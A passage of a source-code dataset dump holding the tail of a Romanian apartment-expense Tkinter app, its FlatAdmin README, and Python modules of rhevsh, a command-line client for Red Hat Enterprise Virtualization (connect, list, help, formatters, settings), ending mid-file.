ch['apa'][x-1] = [0,0]\r\n ch['canal'][x] = [0,0]\r\n ch['incalzire'][x-1] = [0,0]\r\n ch['gaz'][x-1] = [0,0]\r\n ch['altele'][x-1] = [0,0]\r\n \r\n if (index==3):\r\n ch[opt][ap-1] = [0,0]\r\n def optiune4(self,index,n,datastr):\r\n #afisare \"cautare\"\r\n global ch\r\n global ch1\r\n global ch2\r\n global ch3\r\n \r\n if (index ==1):\r\n \r\n for i in range (0,len(ch['apartament'])):\r\n if (ch['apa'][i][0] > n or ch['canal'][i][0] > n or ch['incalzire'][i][0] > n or ch['gaz'][i][0] > n or ch['altele'][i][0] > n):\r\n s=str(\"Apartamentul \"+str(ch['apartament'][i])+\" are cheltuieli mai mari decat \"+str(n))\r\n ch1.append(s)\r\n if (index ==2):\r\n s=\"Pentru \"+str(n)+\" cheltuielile sunt urmatoarele : \"\r\n ch2.append(s)\r\n for i in range(0,len(ch[n])):\r\n s=\"Apartament \"+str(i+1)+\" ==> \"+str(ch[n][i][0])+\" \"+str(ch[n][i][1])\r\n ch2.append(s)\r\n if (index ==3):\r\n \r\n \r\n zi,luna,an=map(int,datastr.split('.'))\r\n data =datetime.date(an,luna,zi)\r\n \r\n chstr=['apa','canal','incalzire','gaz','altele'] \r\n for i in range (0,len(ch['apartament'])):\r\n for j in chstr:\r\n if (ch[j][i][1]!=0):\r\n if (data >ch[j][i][1] and ch[j][i][0] > n):\r\n s=\"Apartament \"+str(i+1)+\" : \"+str(j)+\" \"+str(ch[j][i][0])+\" \"+str(ch[j][i][1])\r\n ch3.append(s)\r\n \r\n def optiune5(self,index,opt):\r\n #Rapoarte \r\n global ch\r\n global chrap\r\n s=0\r\n if (index ==1):\r\n chrap=[]\r\n for i in range (0,len(ch['apartament'])):\r\n s=s+ch[opt][i][0]\r\n chrap.append(\"Suma totala pentru \"+str(opt)+\" ==> \"+str(s))\r\n if (index ==2):\r\n chrap=[] \r\n copy=ch['apartament']\r\n sortare(copy,opt)\r\n chrap.append(\"Ordinea apartamentelor este : \"+str(copy))\r\n if (index ==3):\r\n chrap=[]\r\n s=0 \r\n chstr=['apa','canal','incalzire','gaz','altele']\r\n for i in chstr:\r\n s=s+ch[i][opt-1][0]\r\n chrap.append (\"Totalul de cheltuieli este \"+str(s))\r\n \r\n def optiune6(self,index,opt):\r\n #filtre\r\n global ch\r\n if (index==1):\r\n for i in range(0,len(ch['apartament'])):\r\n ch[opt][i]=[0,0]\r\n if (index==2): \r\n chstr=['apa','canal','incalzire','gaz','altele'] \r\n for i in range (0,len(ch['apartament'])):\r\n for j in chstr:\r\n if (ch[j][i][0]<opt):\r\n ch[j][i]=[0,0]\r\n def und(self):\r\n global ch\r\n global backup\r\n \r\n if (len(backup)>1):\r\n poz=len(backup)-2\r\n ch=0\r\n ch=copy.deepcopy(backup[poz])\r\n backup.pop(poz+1)\r\n \r\n \r\n \r\n " }, { "alpha_fraction": 0.6985138058662415, "alphanum_fraction": 0.7107218503952026, "avg_line_length": 51.16666793823242, "blob_id": "d231163791418b4a633e51adbb128af954f14039", "content_id": "72cf185f99c20111a272fa134007fbf62f95719c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1884, "license_type": "no_license", "max_line_length": 271, "num_lines": 36, "path": "/README.md", "repo_name": "seba40/FlatAdmin", "src_encoding": "UTF-8", "text": "<h1 align=\"center\">FlatAdmin</h1>\n\n<h3 align=\"center\"> A small program made in python for apartment building administration</h3>\n<p align=\"center\">\n <img src=\"https://i.imgur.com/yOSaJ9I.png\">\n</p>\n<h1 align=\"center\">DESCRIPTION</h1>\n<p align=\"center\">Similar to <a href=\"https://github.com/seba40/BiblioEdit\">BiblioEdit</a> , this application was initially a homework.\nThis was my first attempt at making a UI for my applications so i started with something simple called Tkinter. The application creates a database for <i>n</i> apartments or import an existing one and you can add,modify or delete home-related expenses for each apartment.\nOther features include search,filters,statistics and undo/redo.</p>\n<h1 align=\"center\">BUILT WITH</h1>\n <p align=\"center\"> <a href=\"http://www.eclipse.org/downloads/eclipse-packages/\">Eclipse </a>- IDE</p>\n <p align=\"center\" > <a href=\"https://www.python.org/\">Python </a>- Programming Language</p>\n <p align=\"center\"> <a href=\"https://wiki.python.org/moin/TkInter\">Tkinter </a>- Library for UI</p>\n <p align=\"center\"><a href=\"http://www.pyinstaller.org/\">PyInstaller </a>- For creating an executable file</p>\n\n\n\n<h1 align=\"center\">INSTALLATION</h1>\n<p align=\"center\">The application is not currently available for public release</p>\n<h1 align=\"center\">SCREENSHOTS</h1>\n<p align=\"center\"><img src=\"https://i.imgur.com/Tl8OCFh.png\"></p>\n<p align=\"center\"><img src=\"https://i.imgur.com/qDorQKS.png\"></p>\n<p align=\"center\"><img src=\"https://i.imgur.com/5YIPlK1.png\"></p>\n<p align=\"center\"><img src=\"https://i.imgur.com/kHmUjYY.png\"></p>\n<p align=\"center\"><img src=\"https://i.imgur.com/KVfZ6sh.png\"></p>\n<p align=\"center\"><img src=\"https://i.imgur.com/b0UDfc0.png\"></p>\n\n\n\n\n\n\n<h1 align=\"center\">OBSERVATIONS</h1>\n<p align=\"center\">The code has no comments at the moment</p>\n<p align=\"center\">The only available language is romanian</p>\n\n\n\n\n\n\n" } ]
4
geertj/rhevsh
https://github.com/geertj/rhevsh
7e9fa6e6bb1b35911d1fe1f386e4a82f6b49fb8e
202272404e0770616a650c360fe1f19a82d80be0
75dc35faa69ec2aeabe6407aeae697c08c3a6eaf
refs/heads/master
2021-01-25T05:21:58.310772
2012-04-24T20:00:53
2012-04-24T20:08:00
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6082845330238342, "alphanum_fraction": 0.6103106737136841, "avg_line_length": 32.90839767456055, "blob_id": "a799bc548bbff1fae2ff6a80b46fc05c4b1f9401", "content_id": "7d0e1bd58551e4cb6b63c17cfd9124168e72a157", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4442, "license_type": "permissive", "max_line_length": 78, "num_lines": 131, "path": "/lib/rhevsh/command/help.py", "repo_name": "geertj/rhevsh", "src_encoding": "UTF-8", "text": "#\n# This file is part of rhevsh. rhevsh is free software that is made\n# available under the MIT license. Consult the file \"LICENSE\" that is\n# distributed together with this file for the exact licensing terms.\n#\n# rhevsh is copyright (c) 2011 by the rhevsh authors. See the file\n# \"AUTHORS\" for a complete overview.\n\nfrom rhevsh.command.command import RhevCommand\n\n\nclass HelpCommand(RhevCommand):\n\n name = 'help'\n description = 'show help'\n args_check = None\n valid_options = [('*', str)]\n\n helptext = \"\"\"\\\n == Usage ==\n\n help\n help <command> [arguments] [options]\n\n == Description ==\n\n Show help about a command. If no command is specified, a general help\n section is displayed.\n \"\"\"\n\n helptext1 = \"\"\"\\\n == Introduction ==\n\n Welcome to rhevsh. This program is an interactive command-line\n interface into Red Hat Enterprise Virtualization. You can type any\n command in the interface below.\n\n == Available Commands ==\n\n $commands\n\n Type 'help <command>' for any of these commands to show detailed help.\n The first command you probably want to issue is 'help connect' to\n learn how to connect to a RHEV manager.\n\n == Command Syntax ==\n\n The general format for each command is:\n\n <command> [arguments] [options]\n\n If arguments contain spaces or other reserved characters, you need to\n quote them. You can use single (') and double (\") quotes for this. The\n difference between single and double quotes is that within single\n quotes you can't use any single quotes, while in double quotes you can\n use a double quote provided that you escape it with backslash ('\\\\').\n\n Options are always in the long form: --option [value]. The value can\n be optional or mandatory, dependng on the command.\n\n In addition to the basic command form, the following functionality is\n available:\n\n * You can use the '<', '<<', '>' and '>>' characters to perform\n shell-like redirections to files in the file system.\n * The output of any command can be piped to a shell command with\n the '|' character.\n * Shell commands can be executed by typing a '!' at the beginning\n of a line.\n * Comments start with '#' and end at the end of a line.\n * Newlines can be escaped by putting a '\\\\' in front of them. This\n works outside as well as within a quoted string.\n * Multiple commands can be entered on a single line by separating\n them with a semicolon (';').\n\n == Configuration Variables ==\n\n A numer of configuration variables are defined that allow you to\n customize the way in which rhevsh operations. Type 'show' to see a\n list of all configuration variables and their current values.\n\n == Environment Variables ==\n\n The following environment variables are recognized:\n\n * RHEV_URL - The URL to connect to, same as --url.\n * RHEV_USERNAME - The username, same as --username\n * RHEV_PASSWORD - The password, same as --password.\n\n == Examples ==\n\n This example lists all vms, and stores the output in a file 'vms.txt':\n\n $ list vms > vms.txt\n \n This example lists all nics of a host with name <name>. The output is\n in XML format.\n\n $ set output_format xml\n $ list nics --vmid <name>\n \n The following command shows the total memory in each VM:\n\n $ set fields.vms \"name,status,memory\"\n $ list vms\n\n The following pages through a long help text.\n\n $ help | less\n\n The following shows the contents of a file named foo.txt\n\n $ !cat foo.txt\n \"\"\"\n\n def execute(self):\n args = self.arguments\n stdout = self.context.terminal.stdout\n if len(args) == 0:\n subst = {}\n commands = self.get_commands()\n subst['commands'] = self.format_list(commands)\n helptext = self.format_help(self.helptext1, subst)\n stdout.write(helptext)\n else:\n name = args[0]\n args = args[1:]\n opts = [('--help', None)]\n opts += self.options.items()\n command = self.context._create_command(name, args, opts)\n command.run(self.context)\n" }, { "alpha_fraction": 0.7148846983909607, "alphanum_fraction": 0.7232704162597656, "avg_line_length": 28.8125, "blob_id": "a6645026a171e6c3225faed70441726230f43f25", "content_id": "8f97e0c5d7fc5586129b78601fc6a9bf1501b0e1", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 477, "license_type": "permissive", "max_line_length": 69, "num_lines": 16, "path": "/lib/rhevsh/format/format.py", "repo_name": "geertj/rhevsh", "src_encoding": "UTF-8", "text": "#\n# This file is part of rhevsh. rhevsh is free software that is made\n# available under the MIT license. Consult the file \"LICENSE\" that is\n# distributed together with this file for the exact licensing terms.\n#\n# rhevsh is copyright (c) 2011 by the rhevsh authors. See the file\n# \"AUTHORS\" for a complete overview.\n\n\nclass Formatter(object):\n \"\"\"Base class for formatter objects.\"\"\"\n\n name = None\n\n def format(self, context, result):\n raise NotImplementedError\n" }, { "alpha_fraction": 0.6661316156387329, "alphanum_fraction": 0.6741573214530945, "avg_line_length": 31.789474487304688, "blob_id": "069dfc311650a8854d66c24dd6a8166a74aed1b3", "content_id": "ce509c89c8ac6e481329068636d06dcce26c3567", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 623, "license_type": "permissive", "max_line_length": 69, "num_lines": 19, "path": "/lib/rhevsh/object.py", "repo_name": "geertj/rhevsh", "src_encoding": "UTF-8", "text": "#\n# This file is part of rhevsh. rhevsh is free software that is made\n# available under the MIT license. Consult the file \"LICENSE\" that is\n# distributed together with this file for the exact licensing terms.\n#\n# rhevsh is copyright (c) 2011 by the rhevsh authors. See the file\n# \"AUTHORS\" for a complete overview.\n\n\ndef create(cls, *args, **kwargs):\n \"\"\"Create rhevsh objects.\"\"\"\n from rhevsh.format import Formatter, get_formatter\n if issubclass(cls, Formatter):\n format = args[0]\n cls = get_formatter(format)\n obj = cls(**kwargs)\n else:\n obj = cls(*args, **kwargs)\n return obj\n" }, { "alpha_fraction": 0.6271186470985413, "alphanum_fraction": 0.6293572187423706, "avg_line_length": 31.23711395263672, "blob_id": "a3f900f643a878573a27dfd368bdcb8a0b0174f8", "content_id": "b2c61eb31806f38ed5ff0c656ed2767c11c79a2c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3127, "license_type": "permissive", "max_line_length": 78, "num_lines": 97, "path": "/lib/rhevsh/command/list.py", "repo_name": "geertj/rhevsh", "src_encoding": "UTF-8", "text": "#\n# This file is part of rhevsh. rhevsh is free software that is made\n# available under the MIT license. Consult the file \"LICENSE\" that is\n# distributed together with this file for the exact licensing terms.\n#\n# rhevsh is copyright (c) 2011 by the rhevsh authors. See the file\n# \"AUTHORS\" for a complete overview.\n\nfrom cli.error import CommandError\nfrom rhev import schema\nfrom rhevsh.command.command import RhevCommand\n\n\nclass ListCommand(RhevCommand):\n\n name = 'list'\n aliases = ('search',)\n description = 'list or search objects'\n usage = 'list <type> [search]... [options]'\n args_check = lambda self, x: len(x) > 0\n valid_options = [ ('*', str) ]\n\n helptext = \"\"\"\\\n == Usage ==\n \n list <type> [search]... [object identifiers]\n\n == Description ==\n\n List or search for objects of a cetain type. There are two forms. If\n only <type> is provided, all objects of the specified type are\n returned. If a search query is given, it must be a valid RHEV-M search\n query. In that case objects matching the query are returned.\n\n == Available Types ==\n\n The <type> parameter must be one of the following. Note: not all types\n implement search!\n\n $types\n\n == Object Identifiers ==\n\n Some objects can only exist inside other objects. For example, a disk\n can only exist in the content of a virtual machine. In this case, one\n or more object identifier opties needs to be provided to identify the\n containing object.\n\n An object identifier is an option of the form '--<type>id <id>'. This\n would identify an object with type <type> and id <id>. See the\n examples section below for a few examples.\n\n == Examples ==\n\n List all virtual machines:\n\n $ list vms\n\n Show only virtual machines that have a name that starts with \"vm\"\n\n $ list vms name=vm*\n\n List all disks in virtual machine 'myvm':\n\n $ list disks --vmid myvm\n\n == Return values ==\n\n This command will exit with one of the following statuses. To see the\n exit status of the last command, type 'status'.\n\n $statuses\n \"\"\"\n\n def execute(self):\n \"\"\"Execute \"list\".\"\"\"\n self.check_connection()\n stdout = self.context.terminal.stdout\n typename = self.arguments[0]\n typ = self.resolve_plural_type(typename)\n base = self.resolve_base(self.options)\n search = ' '.join(self.arguments[1:])\n connection = self.context.connection\n result = connection.getall(typ, base=base, search=search)\n self.context.formatter.format(self.context, result)\n\n def show_help(self):\n \"\"\"Show help for \"list\".\"\"\"\n helptext = self.helptext\n subst = {}\n types = self.get_plural_types()\n subst['types'] = self.format_list(types)\n statuses = self.get_statuses()\n subst['statuses'] = self.format_list(statuses)\n stdout = self.context.terminal.stdout\n helptext = self.format_help(helptext, subst)\n stdout.write(helptext)\n" }, { "alpha_fraction": 0.5426621437072754, "alphanum_fraction": 0.5453925132751465, "avg_line_length": 27.173076629638672, "blob_id": "0e9fcae1df3218c747a66d2f97c7289f9055dc75", "content_id": "7103991adac538431be8b8033e52aa32ec7796f9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1465, "license_type": "permissive", "max_line_length": 69, "num_lines": 52, "path": "/lib/rhevsh/settings.py", "repo_name": "geertj/rhevsh", "src_encoding": "UTF-8", "text": "#\n# This file is part of rhevsh. rhevsh is free software that is made\n# available under the MIT license. Consult the file \"LICENSE\" that is\n# distributed together with this file for the exact licensing terms.\n#\n# rhevsh is copyright (c) 2011 by the rhevsh authors. See the file\n# \"AUTHORS\" for a complete overview.\n\nimport textwrap\nfrom cli.settings import Settings, enum, boolean\n\n\nclass RhevshSettings(Settings):\n\n name = 'rhevsh'\n validators = Settings.validators + [\n ('url', str),\n ('username', str),\n ('password', str),\n ('debug', boolean),\n ('verbose', boolean),\n ('input_format', enum('xml')),\n ('output_format', enum('xml', 'text')),\n ('wide', boolean),\n ('header', boolean),\n ('fields', str),\n ('fields.*', str)\n ]\n defaults = Settings.defaults.copy()\n defaults.update({\n 'url': '',\n 'username': '',\n 'password': '',\n 'verbose': False,\n 'debug': False,\n 'input_format': 'xml',\n 'output_format': 'text',\n 'wide': False,\n 'header': True,\n 'fields': 'name,id,status'\n })\n example = textwrap.dedent(\"\"\"\\\n [main]\n #url = <url>\n #username = <username>\n #password = <password>\n #input_format = %(input_format)s\n #output_format = %(output_format)s\n #wide = %(wide)s\n #header = %(header)s\n #fields = %(fields)s\n \"\"\") % defaults\n" }, { "alpha_fraction": 0.8192352056503296, "alphanum_fraction": 0.8285052180290222, "avg_line_length": 44.421051025390625, "blob_id": "ea3e6fe9956c7675c93b16ed7b8527785470d46d", "content_id": "f6085fd1948d60f0bc5c1d3b7f2e0caeeac264ad", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 863, "license_type": "permissive", "max_line_length": 72, "num_lines": 19, "path": "/lib/rhevsh/command/__init__.py", "repo_name": "geertj/rhevsh", "src_encoding": "UTF-8", "text": "#\n# This file is part of python-rhev. python-rhev is free software that is\n# made available under the MIT license. Consult the file \"LICENSE\" that\n# is distributed together with this file for the exact licensing terms.\n#\n# python-rhev is copyright (c) 2010-2011 by the python-rhev authors. See\n# the file \"AUTHORS\" for a complete overview.\n\nfrom rhevsh.command.action import ActionCommand\nfrom rhevsh.command.create import CreateCommand\nfrom rhevsh.command.connect import ConnectCommand\nfrom rhevsh.command.delete import DeleteCommand\nfrom rhevsh.command.disconnect import DisconnectCommand\nfrom rhevsh.command.help import HelpCommand\nfrom rhevsh.command.list import ListCommand\nfrom rhevsh.command.ping import PingCommand\nfrom rhevsh.command.show import ShowCommand\nfrom rhevsh.command.status import StatusCommand\nfrom rhevsh.command.update import UpdateCommand\n" }, { "alpha_fraction": 0.5133345127105713, "alphanum_fraction": 0.5204939842224121, "avg_line_length": 36.49664306640625, "blob_id": "5e9dbf34b06d94ee8b2f806fda54c85f5caee1f5", "content_id": "c8fdb2e83eb347a69408e24b4b92cb49990baba3", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5587, "license_type": "permissive", "max_line_length": 80, "num_lines": 149, "path": "/lib/rhevsh/format/text.py", "repo_name": "geertj/rhevsh", "src_encoding": "UTF-8", "text": "#\n# This file is part of rhevsh. rhevsh is free software that is made\n# available under the MIT license. Consult the file \"LICENSE\" that is\n# distributed together with this file for the exact licensing terms.\n#\n# rhevsh is copyright (c) 2011 by the rhevsh authors. See the file\n# \"AUTHORS\" for a complete overview.\n\nfrom rhev import schema\nfrom cli.error import CommandError\nfrom rhevsh.format.format import Formatter\n\n\nclass TextFormatter(Formatter):\n \"\"\"Text formatter.\"\"\"\n\n name = 'text'\n\n def _get_fields(self, tag):\n fields = self.context.settings.get('fields.%s' % tag)\n if fields is None:\n fields = self.context.settings.get('fields')\n if fields is None:\n raise CommandError, 'required config variable not set: fields'\n fields = fields.split(',')\n return fields\n\n def _get_value(self, resource, field):\n value = resource\n path = field.split('.')\n for pa in path:\n value = getattr(value, pa, None)\n if value is None:\n break\n if value is None:\n value = ''\n else:\n value = str(value)\n return value\n\n def _filter_fields(self, fields, resource):\n filtered = []\n for field in fields:\n try:\n self._get_value(resource, field)\n except AttributeError:\n pass\n else:\n filtered.append(field)\n return filtered\n\n def _format_resource(self, resource):\n context = self.context\n settings = context.settings\n stdout = context.terminal.stdout\n fields = self.context.command.get_attributes(type(resource))\n width0 = 0\n for field in fields:\n width0 = max(width0, len(field))\n format0 = '%%-%ds' % width0\n if stdout.isatty() and not settings['wide']:\n width1 = context.terminal.width - width0 - 2\n format1 = '%%-%d.%ds' % (width1, width1)\n else:\n width1 = sys.maxint\n format1 = '%s'\n stdout.write('\\n')\n for field in fields:\n value = self._get_value(resource, field)\n if not value:\n continue\n stdout.write(format0 % field)\n stdout.write(' ')\n stdout.write(format1 % value)\n stdout.write('\\n')\n value = value[width1:]\n while len(value) > 0:\n stdout.write(width1 * ' ')\n stdout.write(format1 % value)\n stdout.write('\\n')\n value = value[width1:]\n stdout.write('\\n')\n\n def _format_collection(self, collection):\n context = self.context\n settings = context.settings\n stdout = context.terminal.stdout\n info = schema.type_info(type(collection))\n rel = info[2]\n fields = self._get_fields(rel)\n fields = self._filter_fields(fields, info[0])\n # Calculate the width of each column\n if stdout.isatty() and not settings['wide']:\n widths = [ len(f) for f in fields ]\n for resource in collection:\n for i in range(len(fields)):\n value = self._get_value(resource, fields[i])\n widths[i] = max(widths[i], len(value))\n total = sum(widths) + 2*len(fields)\n # Now downsize if it doesn't fit\n if total > context.terminal.width:\n fraction = 1.0 * context.terminal.width / total\n fwidths = [0] * len(fields)\n # Pass 1: round down to nearest integer\n for i in range(len(fields)):\n fwidths[i] = widths[i] * fraction\n widths[i] = int(fwidths[i])\n # Pass 2: allocate fractional leftovers to columns\n available = context.terminal.width - 2*len(fields) - sum(widths)\n remainders = [ (fwidths[i] - widths[i], i)\n for i in range(len(fields)) ]\n remainders.sort(reverse=True)\n for i in range(min(len(fields), available)):\n widths[remainders[i][1]] += 1\n formats = ['%%-%d.%ds' % (w, w) for w in widths ]\n else:\n widths = [ sys.maxint ] * len(fields)\n formats = [ '%s' ] * len(fields)\n if settings['header']:\n # Header\n for i in range(len(fields)):\n stdout.write(formats[i] % fields[i])\n if i != len(fields)-1:\n stdout.write(' ')\n stdout.write('\\n')\n # Horizontal line\n for i in range(len(fields)):\n stdout.write('-' * widths[i])\n if i != len(fields)-1:\n stdout.write(' ')\n stdout.write('\\n')\n # Data elements\n for resource in collection:\n values = [ self._get_value(resource, field) for field in fields ]\n while sum([len(v) for v in values]) > 0:\n for i in range(len(fields)):\n stdout.write(formats[i] % values[i])\n values[i] = values[i][widths[i]:]\n if i != len(fields)-1:\n stdout.write(' ')\n stdout.write('\\n')\n stdout.write('\\n')\n\n def format(self, context, result):\n self.context = context\n if isinstance(result, schema.BaseResource):\n self._format_resource(result)\n elif isinstance(result, schema.BaseResources):\n self._format_collection(result)\n" }, { "alpha_fraction": 0.6505608558654785, "alphanum_fraction": 0.6574633121490479, "avg_line_length": 30.324323654174805, "blob_id": "2453f4b874c72e043ec8c8a8e1230ba512a561bb", "content_id": "80bbe524583f6c4ccd5049d960a56da6ba343fe7", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1159, "license_type": "permissive", "max_line_length": 76, "num_lines": 37, "path": "/lib/rhevsh/command/ping.py", "repo_name": "geertj/rhevsh", "src_encoding": "UTF-8", "text": "#\n# This file is part of python-rhev. python-rhev is free software that is\n# made available under the MIT license. Consult the file \"LICENSE\" that\n# is distributed together with this file for the exact licensing terms.\n#\n# python-rhev is copyright (c) 2010-2011 by the python-rhev authors. See\n# the file \"AUTHORS\" for a complete overview.\n\nfrom rhevsh.command.command import RhevCommand\n\n\nclass PingCommand(RhevCommand):\n\n name = 'ping'\n description = 'test the connection'\n helptext = \"\"\"\\\n == Usage ==\n\n ping\n\n == Description ==\n\n Test the connection to the RHEV manager. This command will go out to\n the RHEV manager and retrieve a remote resource. If it succeeds, you\n know that the URL, username and password are working.\n \"\"\"\n\n def execute(self):\n self.check_connection()\n connection = self.context.connection\n stdout = self.context.terminal.stdout\n try:\n connection.ping()\n except RhevError:\n stdout.write('error: could NOT reach RHEV manager\\n')\n else:\n stdout.write('success: RHEV manager could be reached OK\\n')\n" }, { "alpha_fraction": 0.6527436375617981, "alphanum_fraction": 0.6592956781387329, "avg_line_length": 29.524999618530273, "blob_id": "9bc8eddf1e1061d825d2ee1baf4127f0330d3e1f", "content_id": "45bcf2276dd4f2c324f6a866eca5e6a34ec671af", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1221, "license_type": "permissive", "max_line_length": 76, "num_lines": 40, "path": "/lib/rhevsh/command/disconnect.py", "repo_name": "geertj/rhevsh", "src_encoding": "UTF-8", "text": "#\n# This file is part of python-rhev. python-rhev is free software that is\n# made available under the MIT license. Consult the file \"LICENSE\" that\n# is distributed together with this file for the exact licensing terms.\n#\n# python-rhev is copyright (c) 2010-2011 by the python-rhev authors. See\n# the file \"AUTHORS\" for a complete overview.\n\nfrom rhev import Connection, Error as RhevError\nfrom rhevsh.command.command import RhevCommand\n\n\nclass DisconnectCommand(RhevCommand):\n\n name = 'disconnect'\n description = 'disconnect from RHEV manager'\n helptext = \"\"\"\\\n == Usage ==\n\n disconnect\n\n == Description ==\n\n Disconnect an active connection to RHEV manager, if any. This method\n can be called multiple times. It is not an error to disconnect when\n not connected.\n \"\"\"\n\n def execute(self):\n stdout = self.context.terminal.stdout\n connection = self.context.connection\n if connection is None:\n stdout.write('not connected\\n')\n return\n try:\n connection.close()\n except RhevError, e:\n pass\n stdout.write('disconnected from RHEV manager\\n')\n self.context.connection = None\n" }, { "alpha_fraction": 0.7004048824310303, "alphanum_fraction": 0.7058029770851135, "avg_line_length": 36.04999923706055, "blob_id": "7cc888b1af16d2111aa2c1529701af7fd5e1f051", "content_id": "969922448054e9f5095a8633936d6078f25cbc7e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 741, "license_type": "permissive", "max_line_length": 79, "num_lines": 20, "path": "/lib/rhevsh/format/__init__.py", "repo_name": "geertj/rhevsh", "src_encoding": "UTF-8", "text": "#\n# This file is part of rhevsh. rhevsh is free software that is made\n# available under the MIT license. Consult the file \"LICENSE\" that is\n# distributed together with this file for the exact licensing terms.\n#\n# rhevsh is copyright (c) 2011 by the rhevsh authors. See the file\n# \"AUTHORS\" for a complete overview.\n\nfrom rhevsh.format.format import Formatter\nfrom rhevsh.format.xml_ import XmlFormatter\nfrom rhevsh.format.text import TextFormatter\n\n\ndef get_formatter(format):\n \"\"\"Return the formatter class for `format', or None if it doesn't exist.\"\"\"\n for sym in globals():\n obj = globals()[sym]\n if isinstance(obj, type) and issubclass(obj, Formatter) \\\n and obj.name == format:\n return obj\n" }, { "alpha_fraction": 0.6037266850471497, "alphanum_fraction": 0.6093167662620544, "avg_line_length": 31.85714340209961, "blob_id": "e229b7a3da38aadb90ef77906c1eb28ed03b7fed", "content_id": "18f5aa7a6a23414a7456f1bcf979f4292c55726b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1610, "license_type": "permissive", "max_line_length": 75, "num_lines": 49, "path": "/lib/rhevsh/format/xml_.py", "repo_name": "geertj/rhevsh", "src_encoding": "UTF-8", "text": "#\n# This file is part of rhevsh. rhevsh is free software that is made\n# available under the MIT license. Consult the file \"LICENSE\" that is\n# distributed together with this file for the exact licensing terms.\n#\n# rhevsh is copyright (c) 2011 by the rhevsh authors. See the file\n# \"AUTHORS\" for a complete overview.\n\nfrom xml.etree import ElementTree as etree\nfrom rhevsh.format.format import Formatter\n\n# This module is called xml_ to prevent a naming conflict with the standard\n# libary.\n\nclass XmlFormatter(Formatter):\n \"\"\"XML formatter.\"\"\"\n\n name = 'xml'\n\n def _make_pretty(self, node, level=0, last=False):\n \"\"\"INTERNAL: pretty up the XML.\"\"\"\n def spacing(level):\n return '\\n' + ' ' * level\n node.tail = spacing(level-last)\n if len(node) == 0:\n return\n node.text = spacing(level+1)\n for ix in range(len(node)):\n self._make_pretty(node[ix], level+1, ix == len(node)-1)\n verbose = self.context.settings['verbose']\n if verbose:\n return\n remove = []\n for child in node:\n if child.tag in ('actions', 'link'):\n remove.append(child)\n for child in remove:\n node.remove(child)\n\n def format(self, context, result):\n if not hasattr(result, 'toxml'):\n raise TypeError, 'Expecting a binding instance.'\n self.context = context\n stdout = context.terminal.stdout\n buf = result.toxml()\n xml = etree.fromstring(buf)\n self._make_pretty(xml)\n buf = etree.tostring(xml)\n stdout.write(buf)\n" }, { "alpha_fraction": 0.5980119109153748, "alphanum_fraction": 0.603578507900238, "avg_line_length": 32.53333282470703, "blob_id": "98207374c8bd3b2f4d3087280430bf6728df0241", "content_id": "310543d9ba91b47e3853a75a62dfc148ead99376", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2515, "license_type": "permissive", "max_line_length": 77, "num_lines": 75, "path": "/lib/rhevsh/command/connect.py", "repo_name": "geertj/rhevsh", "src_encoding": "UTF-8", "text": "#\n# This file is part of python-rhev. python-rhev is free software that is\n# made available under the MIT license. Consult the file \"LICENSE\" that\n# is distributed together with this file for the exact licensing terms.\n#\n# python-rhev is copyright (c) 2010-2011 by the python-rhev authors. See\n# the file \"AUTHORS\" for a complete overview.\n\nimport socket\nimport logging\n\nimport rhev\nfrom rhevsh.command.command import RhevCommand\n\n\nclass ConnectCommand(RhevCommand):\n\n name = 'connect'\n description = 'connect to a RHEV manager'\n args_check = (0, 3)\n\n helptext = \"\"\"\\\n == Usage ==\n\n connect\n connect <url> <username> <password>\n\n == Description ==\n\n Connect to a RHEV manager. This command has two forms. In the first\n form, no arguments are provided, and the connection details are read\n from their respective configuration variables (see 'show'). In\n the second form, the connection details are provided as arguments.\n\n The arguments are:\n\n * url - The URL to connect to.\n * username - The user to connect as. Important: this needs to be\n in the user@domain format.\n * password - The password to use.\n \"\"\"\n\n def execute(self):\n settings = self.context.settings\n stdout = self.context.terminal.stdout\n if self.context.connection is not None:\n stdout.write('already connected\\n')\n return\n if len(self.arguments) == 3:\n url, username, password = self.arguments\n else:\n url = settings.get('url')\n if not url:\n self.error('missing configuration variable: url')\n username = settings.get('username')\n if not username:\n self.error('missing configuration variable: username')\n password = settings.get('password')\n if not password:\n self.error('missing configuration variable: password')\n connection = rhev.Connection(url, username, password)\n if settings['verbose']:\n level = 10\n else:\n level = 1\n connection.verbosity = level\n try:\n connection.connect()\n connection.ping()\n except socket.error, e:\n self.error(e.strerror.lower())\n except rhev.Error, e:\n self.error(e.message)\n stdout.write('connected to RHEV manager at %s\\n' % url)\n self.context.connection = connection\n" }, { "alpha_fraction": 0.5370267033576965, "alphanum_fraction": 0.5413418412208557, "avg_line_length": 36.03092956542969, "blob_id": "91142df1fd614798a4dc31dbdb8cffb4506319e6", "content_id": "5cea261bccd6cb32345235aaf5a9e77e2f4c6654", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7184, "license_type": "permissive", "max_line_length": 78, "num_lines": 194, "path": "/lib/rhevsh/command/command.py", "repo_name": "geertj/rhevsh", "src_encoding": "UTF-8", "text": "#\n# This file is part of python-rhev. python-rhev is free software that is\n# made available under the MIT license. Consult the file \"LICENSE\" that\n# is distributed together with this file for the exact licensing terms.\n#\n# python-rhev is copyright (c) 2010-2011 by the python-rhev authors. See\n# the file \"AUTHORS\" for a complete overview.\n\nfrom string import Template\n\nimport rhev\nfrom rhev import schema\n\nfrom 